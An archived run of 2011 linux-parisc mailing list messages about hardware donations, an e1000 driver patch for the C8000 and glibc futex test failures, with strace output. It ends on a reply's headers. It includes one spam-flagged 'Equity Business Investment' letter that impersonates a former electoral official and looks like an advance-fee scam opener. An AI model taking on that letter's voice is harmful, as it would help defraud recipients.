Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qc0WF-0002xu-4w
	for glpp-linux-parisc@lo.gmane.org; Wed, 29 Jun 2011 21:33:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757471Ab1F2Tdu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 29 Jun 2011 15:33:50 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1185 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753551Ab1F2Tdt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 29 Jun 2011 15:33:49 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B797E4DF0; Wed, 29 Jun 2011 15:33:47 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20110602213549.GA21839@parisc-linux.org>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3825
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3825>

Hi Grant,

On Thu, 02 Jun 2011, Grant Grundler wrote:

> As discussed off list a few months ago, HW salvaged from the Cupertino
> Test Ring should be headed your way in the near future.

I learned Monday that NRC wasn't going renew to my guest appointment.
There have been problems with some other appointments at HIA.

NRC has a new President and major changes are occuring within the
organization.  Guest Worker appointments now have to be approved by
NRC legal and a VP, so they are much more difficult and visible.
It seems to take months for an appointment to be processed.  There
are concerns about liability, IP, etc.

It's still not clear whether I end now or at the end of December.
I plan to take home the rp3440 and c3750 at NRC.  That's about all
that I can fit in my office at home.  I might fit another server
with internal drives on top of the rp3440, but that's about it.

I can continue some Linux GCC support from home, but there is no room
anymore for HP-UX.

If HP hasn't shipped the Cup stuff, probably the matter should be reviewed.

Regards,
Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "PROF.MAURICE IWU" <iwumaurice900@sify.com>
Newsgroups: gmane.spam.detected,gmane.linux.ports.parisc
Subject: Equity Business Investment
Date: Thu, 30 Jun 2011 19:08:00 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <EXCHANGE03QLVpSlSt7000005f7__42702.7540085421$1309453728$gmane$org@exchange03.2besource.com>
Reply-To: <profmauriceiwu2221@yahoo.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1251"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1309453728 16485 80.91.229.12 (30 Jun 2011 17:08:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 30 Jun 2011 17:08:48 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 30 19:08:44 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QcKjI-00057e-M6
	for glpp-linux-parisc@lo.gmane.org; Thu, 30 Jun 2011 19:08:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753229Ab1F3RIH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 Jun 2011 13:08:07 -0400
Original-Received: from exchange.2besource.com ([203.126.216.22]:54205 "EHLO
	exchange03.2besource.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1751122Ab1F3RID (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 Jun 2011 13:08:03 -0400
Original-Received: from User ([70.183.0.158]) by exchange03.2besource.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 1 Jul 2011 01:08:00 +0800
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 30 Jun 2011 17:08:02.0244 (UTC) FILETIME=[450B4040:01CC3748]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 8.8 points;
 *  2.7 DEAR_FRIEND BODY: Dear Friend? That's not very dear!
 *  0.0 BAYES_50 BODY: Bayesian spam probability is 40 to 60%
 *      [score: 0.5000]
 *  3.0 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?70.183.0.158>]
 *  3.1 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook
Xref: news.gmane.org gmane.spam.detected:4872465 gmane.linux.ports.parisc:3826
Archived-At: <http://permalink.gmane.org/gmane.spam.detected/4872465>

Equity Business Investment
>From Prof. Maurice Iwu 

Dear Friend,

I am Prof. Maurice M. Iwu, Former Chairman Independent Electoral Commission 
(INEC).Currently, I am on compulsory terminal leave presently in UK , 
leading up to my final retirement from public service.

I am seeking your partnership in a mutual benefit project involving 
investing into your company and secondly on properties and to be precise Estate Development or any other profitable venture of your great idea for our mutual benefit of Equity Market Investment.,

Sincerely,
Prof. Maurice M.Iwu.
{INEC.}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.drivers.e1000.devel,gmane.linux.network
Subject: Re: [E1000-devel] [PATCH] e1000: Allow the driver to be used on PA
	RISC C8000 workstation
Date: Sat, 2 Jul 2011 18:33:36 -0600
Lines: 62
Approved: news@gmane.org
Message-ID: <20110703003336.GC20434@parisc-linux.org>
References: <A78C6259B11833419567082E2DC0C25601D8A9CA5E@orsmsx508.amr.corp.intel.com> <1538517.jd8kKEpd3f@donald.sf-tec.de> <2567734.3Tpd1BeV4a@donald.sf-tec.de> <1793556.1X3EUabhs6@donald.sf-tec.de> <BANLkTimbhOpp624KKU0dEE63mkAC1SDMAg@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1309653228 21377 80.91.229.12 (3 Jul 2011 00:33:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 3 Jul 2011 00:33:48 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	Guy Martin <gmsoft@tuxicoman.be>,
	"e1000-devel@lists.sourceforge.net" 
	<e1000-devel@lists.sourceforge.net>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"mikulas@artax.karlin.mff.cuni.cz" <mikulas@artax.karlin.mff.cuni.cz>,
	netdev@vger.kernel.org
To: Matt Turner <mattst88@gmail.com>,
	Jesse Brandeburg <jesse.brandeburg@gmail.com>,
	"Kirsher, Jeffrey T" <jeffrey.t.kirsher@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 03 02:33:42 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QdAd3-0004sf-Ue
	for glpp-linux-parisc@lo.gmane.org; Sun, 03 Jul 2011 02:33:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752384Ab1GCAdi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 Jul 2011 20:33:38 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:55771 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752302Ab1GCAdi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 Jul 2011 20:33:38 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26925)
	id C4282494006; Sat,  2 Jul 2011 18:33:36 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <BANLkTimbhOpp624KKU0dEE63mkAC1SDMAg@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3827 gmane.linux.drivers.e1000.devel:8653 gmane.linux.network:200330
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3827>

On Mon, Jun 27, 2011 at 03:33:43PM -0400, Matt Turner wrote:
> On Mon, Jun 27, 2011 at 2:42 PM, Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:
> > Rolf Eike Beer wrote:
> >> Am Freitag, 18. M?rz 2011, 17:39:57 schrieb Rolf Eike Beer:
> >> > Am Mittwoch, 2. M?rz 2011, 21:19:24 schrieb Jesse Brandeburg:
> >> > > On Mon, Feb 28, 2011 at 5:40 AM, Guy Martin <gmsoft@tuxicoman.be> wrote:
> >> > > > Hi Jeff,
> >> > > >
> >> > > > Any luck getting this into mainline ?
> >> > >
> >> > > Hi Guy, sorry for the delay,
> >> > > We haven't been able to get our contacts in HP to give us a decent
> >> > > response so far, we are following up with them to see whats up. ?We
> >> > > have not lost the patch and are still tracking it internally.
> >> > >
> >> > > Give us a couple more weeks if that is okay and we should be able to
> >> > > settle this by then.
> >> >
> >> > I wonder what exactly you are waiting for? This is a sanity check that
> >> > we
> >> > disable, so no working systems could get broken by this. And every
> >> > single
> >> > C8000 seems to be affected by this and is working fine with that patch.
> >> > So maybe people at HP might have a clue _why_ this is screwed, but
> >> > until then I don't see any point in waiting.
> >> >
> >> > So please just add my tested-by and push this upstream soon. Since this
> >> > is basically a hardware quirk I would like to get this into stable also
> >> > so we may run vanilla 2.6.38.1 or something like that on C8000.
> >> >
> >> > Tested-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
> >>
> >> For the netdev folks: it's this patch we are talking about
> >>
> >> http://www.spinics.net/lists/linux-parisc/msg03091.html
> >>
> >> I would love to see that someone finally picks this up and pushes this
> >> upstream, CC stable. This is absolutely annoying as it breaks every time
> >> anyone touches the kernel on one of this machines.
> >>
> >> Jeff, David, James: can you please make a decision of who takes this and
> >> then just do it?
> >
> > Ping?
> 
> Ping indeed. Waiting as if HP is going to say "yes, we fucked that up.
> Go ahead with the patch." is silly.

AFAIK, HP hasn't paid anyone to work on parisc-linux in almost 10 years.
Good luck finding someone in HP who knows about C8000, much less it's
NIC firmware.

Jesse or Jeff K. should be able to accept the patch as-is.
I don't see any problem with it.

hth,
grant (ex-HP employee: 1999-2002 parisc-linux and 2002-2006 ia64-linux drivers)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Sat, 2 Jul 2011 18:43:36 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <20110703004336.GD20434@parisc-linux.org>
References: <20110527213516.GH21744@dannf.org> <20110527233738.0B95D4FCB@hiauly1.hia.nrc.ca> <BANLkTi=maOnkCLD9aU=JDYL9257EkpHxnQ@mail.gmail.com> <20110601021049.GB3984@hiauly1.hia.nrc.ca> <20110602213549.GA21839@parisc-linux.org> <20110629193346.GA12729@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1309653824 23699 80.91.229.12 (3 Jul 2011 00:43:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 3 Jul 2011 00:43:44 +0000 (UTC)
Cc: Thibaut VARENE <T-Bone@parisc-linux.org>,
	dann frazier <dannf@dannf.org>, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org, Rick Jones <perfgeek@mac.com>
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 03 02:43:40 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QdAmh-0006uj-A9
	for glpp-linux-parisc@lo.gmane.org; Sun, 03 Jul 2011 02:43:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752582Ab1GCAni (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 Jul 2011 20:43:38 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:35064 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752384Ab1GCAnh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 Jul 2011 20:43:37 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26925)
	id 80028494009; Sat,  2 Jul 2011 18:43:36 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20110629193346.GA12729@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3828
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3828>

On Wed, Jun 29, 2011 at 03:33:47PM -0400, John David Anglin wrote:
> Hi Grant,
> 
> On Thu, 02 Jun 2011, Grant Grundler wrote:
> 
> > As discussed off list a few months ago, HW salvaged from the Cupertino
> > Test Ring should be headed your way in the near future.
> 
> I learned Monday that NRC wasn't going renew to my guest appointment.
> There have been problems with some other appointments at HIA.
> 
> NRC has a new President and major changes are occuring within the
> organization.  Guest Worker appointments now have to be approved by
> NRC legal and a VP, so they are much more difficult and visible.
> It seems to take months for an appointment to be processed.  There
> are concerns about liability, IP, etc.

That's unfortunate. :(

> It's still not clear whether I end now or at the end of December.
> I plan to take home the rp3440 and c3750 at NRC.  That's about all
> that I can fit in my office at home.  I might fit another server
> with internal drives on top of the rp3440, but that's about it.

Ok.

> I can continue some Linux GCC support from home, but there is no room
> anymore for HP-UX.
> 
> If HP hasn't shipped the Cup stuff, probably the matter should be reviewed.

I thought it was but don't know if Rick (CC'd) was able to find a contact
in HP (Kanata or anything near Ottawa) to handle transfer.

Thanks!
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rick jones <perfgeek@mac.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Sun, 03 Jul 2011 08:33:29 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <CB8EF4AD-D637-4B4E-9BFB-18A7EFD66834@mac.com>
References: <20110527213516.GH21744@dannf.org>
 <20110527233738.0B95D4FCB@hiauly1.hia.nrc.ca>
 <BANLkTi=maOnkCLD9aU=JDYL9257EkpHxnQ@mail.gmail.com>
 <20110601021049.GB3984@hiauly1.hia.nrc.ca>
 <20110602213549.GA21839@parisc-linux.org>
 <20110629193346.GA12729@hiauly1.hia.nrc.ca>
 <20110703004336.GD20434@parisc-linux.org>
 <7C0BBECE-2ED2-49B0-8371-569191EF3028@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; CHARSET=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1309710925 5214 80.91.229.12 (3 Jul 2011 16:35:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 3 Jul 2011 16:35:25 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Thibaut VARENE <T-Bone@parisc-linux.org>,
	dann frazier <dannf@dannf.org>, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 03 18:35:19 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QdPdf-0000sK-5A
	for glpp-linux-parisc@lo.gmane.org; Sun, 03 Jul 2011 18:35:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756103Ab1GCQfS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Jul 2011 12:35:18 -0400
Original-Received: from asmtpout016.mac.com ([17.148.16.91]:43152 "EHLO
	asmtpout016.mac.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756015Ab1GCQfR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Jul 2011 12:35:17 -0400
X-Greylist: delayed 3656 seconds by postgrey-1.27 at vger.kernel.org; Sun, 03 Jul 2011 12:35:17 EDT
Original-Received: from [192.168.1.65]
 (76-220-56-223.lightspeed.sntcca.sbcglobal.net [76.220.56.223])
 by asmtp016.mac.com
 (Oracle Communications Messaging Exchange Server 7u4-20.01 64bit (built Nov 21
 2010)) with ESMTPSA id <0LNR0021AKJUAM10@asmtp016.mac.com> for
 linux-parisc@vger.kernel.org; Sun, 03 Jul 2011 08:33:31 -0700 (PDT)
X-Proofpoint-Virus-Version: vendor=fsecure
 engine=2.50.10432:5.4.6813,1.0.211,0.0.0000
 definitions=2011-07-03_06:2011-07-02,2011-07-03,1970-01-01 signatures=0
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 spamscore=0
 ipscore=0 suspectscore=0 phishscore=0 bulkscore=0 adultscore=0 classifier=spam
 adjust=0 reason=mlx engine=6.0.2-1012030000 definitions=main-1107030126
In-reply-to: <7C0BBECE-2ED2-49B0-8371-569191EF3028@nrc-cnrc.gc.ca>
X-Mailer: Apple Mail (2.1084)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3829
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3829>

I've been letting myself get distracted by "the day job" wrt getting equipment shipped to Canada :( But am still willing to give it a go if there is still a destination.

rick jones
there is no rest for the wicked, yet the virtuous have no pillows

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: tst-cputimer1 and tst-timer4
Date: Sun, 3 Jul 2011 13:16:25 -0400
Lines: 62
Approved: news@gmane.org
Message-ID: <CADZpyizeDz0mRxLU3-Scx37DZ4jYMtKBjQn6_ZfxMyjhsT6Lkg@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1309713393 18007 80.91.229.12 (3 Jul 2011 17:16:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 3 Jul 2011 17:16:33 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 03 19:16:29 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QdQHU-0005jO-Ec
	for glpp-linux-parisc@lo.gmane.org; Sun, 03 Jul 2011 19:16:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752135Ab1GCRQ1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Jul 2011 13:16:27 -0400
Original-Received: from mail-ey0-f174.google.com ([209.85.215.174]:40168 "EHLO
	mail-ey0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752064Ab1GCRQ1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Jul 2011 13:16:27 -0400
Original-Received: by eyx24 with SMTP id 24so1558234eyx.19
        for <linux-parisc@vger.kernel.org>; Sun, 03 Jul 2011 10:16:25 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        bh=3RfMBO1hWnuaxsxi2Du2zGzJHWx7k6AvQGCV4x3ud8s=;
        b=birej04iY+zNPXXXf1omrZuKpztRAMjSPUGZZAUu3u6iA3nNTVeiBzNANy0LkqEicE
         RMZmBqq6sggeQO2wfAtZDYino3qO0a7rXaAOHdfKWvX5zDcAfuLF1tiHo7Y3f/lf5ron
         Av+PtJpgHOf+9wxuk9V9yCRIkJMQ+yAqvp/pg=
Original-Received: by 10.14.42.12 with SMTP id i12mr1559835eeb.72.1309713385622; Sun,
 03 Jul 2011 10:16:25 -0700 (PDT)
Original-Received: by 10.14.187.131 with HTTP; Sun, 3 Jul 2011 10:16:25 -0700 (PDT)
X-Google-Sender-Auth: fElilvVXIlLuDB6mTCRt6PFU3ZM
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3830
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3830>

Dave,

Instrumenting tst-cputimer1 yields:
~~
carlos@firin:~/fsrc/glibc-work/tests/tst-cputimer1$ ./tst-cputimer1
clock_gettime returned timespec = { 0, 40000000 }
clock_getres returned timespec = { 0, 1 }
timer_helper_thread: creating thread...

timer_segev_thread: tid 1329
timer_helper_thread: creating thread...
~~~

The first thread starts, the second thread doesn't.

You expressed some worry over this failure:
~~~
1309709905.557733 futex(0xc043e2c8, FUTEX_WAKE_PRIVATE, 1) = 0
1309709905.557733 futex(0xc043e2c8,
FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 1, NULL, 0) = -1
EINVAL (Invalid argument)
~~~
This is part of nptl/npt-init.c where the threading system is trying
to determine, at runtime, certain functionality.
The first test is to determine if private futexes e.g.
FUTEX_PRIVATE_FLAG are available, and they are.
The second test is to determine if FUTEX_CLOCK_REALTIME is available,
and it is, the test looks only for ENOSYS on return.

The first thread has a futex operation fail completely:
~~~
[pid  8589] 1309709905.789735 clone(Process 8590 attached
child_stack=0x40e65040,
flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID,
parent_tidptr=0x416644e8, tls=0x41664900, child_tidptr=0x416644e8) =
8590
[pid  8590] 1309709905.789735 set_robust_list(0x416644f0, 0xc <unfinished ...>
[pid  8589] 1309709905.789735 rt_sigtimedwait([RTMIN],  <unfinished ...>
[pid  8590] 1309709905.789735 <... set_robust_list resumed> ) = 0
[pid  8590] 1309709905.789735 gettid()  = 8590
[pid  8590] 1309709905.789735 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[pid  8590] 1309709905.789735 clock_gettime(0xfffffffa /* CLOCK_???
*/, {0, 252000000}) = 0
[pid  8590] 1309709905.789735 futex(0x14548, FUTEX_WAKE_OP_PRIVATE, 1,
1, 0x14540, {FUTEX_OP_SET, 0, FUTEX_OP_CMP_GT, 1}) = -1 ENOSYS
(Function not implemented)
~~~
This is a worrisome problem, that's a feature that's expected to work
and doesn't.

It's part of the internal NPTL thread handling, I don't know
specifically which futext it is, but it's important :-)

This needs fixing. I'll look into that next.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: tst-cputimer1 and tst-timer4
Date: Sun, 3 Jul 2011 19:22:05 -0400
Lines: 85
Approved: news@gmane.org
Message-ID: <BLU0-SMTP9158F203DF2B6A1AD1D9A4975D0@phx.gbl>
References: <CADZpyizeDz0mRxLU3-Scx37DZ4jYMtKBjQn6_ZfxMyjhsT6Lkg@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1309735683 560 80.91.229.12 (3 Jul 2011 23:28:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 3 Jul 2011 23:28:03 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@nrc.ca>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 04 01:27:59 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QdW4y-0008HQ-Oz
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jul 2011 01:27:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751318Ab1GCX1z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Jul 2011 19:27:55 -0400
Original-Received: from blu0-omc4-s1.blu0.hotmail.com ([65.55.111.140]:14047 "EHLO
	blu0-omc4-s1.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751189Ab1GCX1z (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Jul 2011 19:27:55 -0400
X-Greylist: delayed 332 seconds by postgrey-1.27 at vger.kernel.org; Sun, 03 Jul 2011 19:27:55 EDT
Original-Received: from BLU0-SMTP91 ([65.55.111.135]) by blu0-omc4-s1.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 3 Jul 2011 16:22:22 -0700
X-Originating-IP: [70.26.29.183]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([70.26.29.183]) by BLU0-SMTP91.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 3 Jul 2011 16:22:22 -0700
In-Reply-To: <CADZpyizeDz0mRxLU3-Scx37DZ4jYMtKBjQn6_ZfxMyjhsT6Lkg@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 03 Jul 2011 23:22:22.0916 (UTC) FILETIME=[0FE31040:01CC39D8]
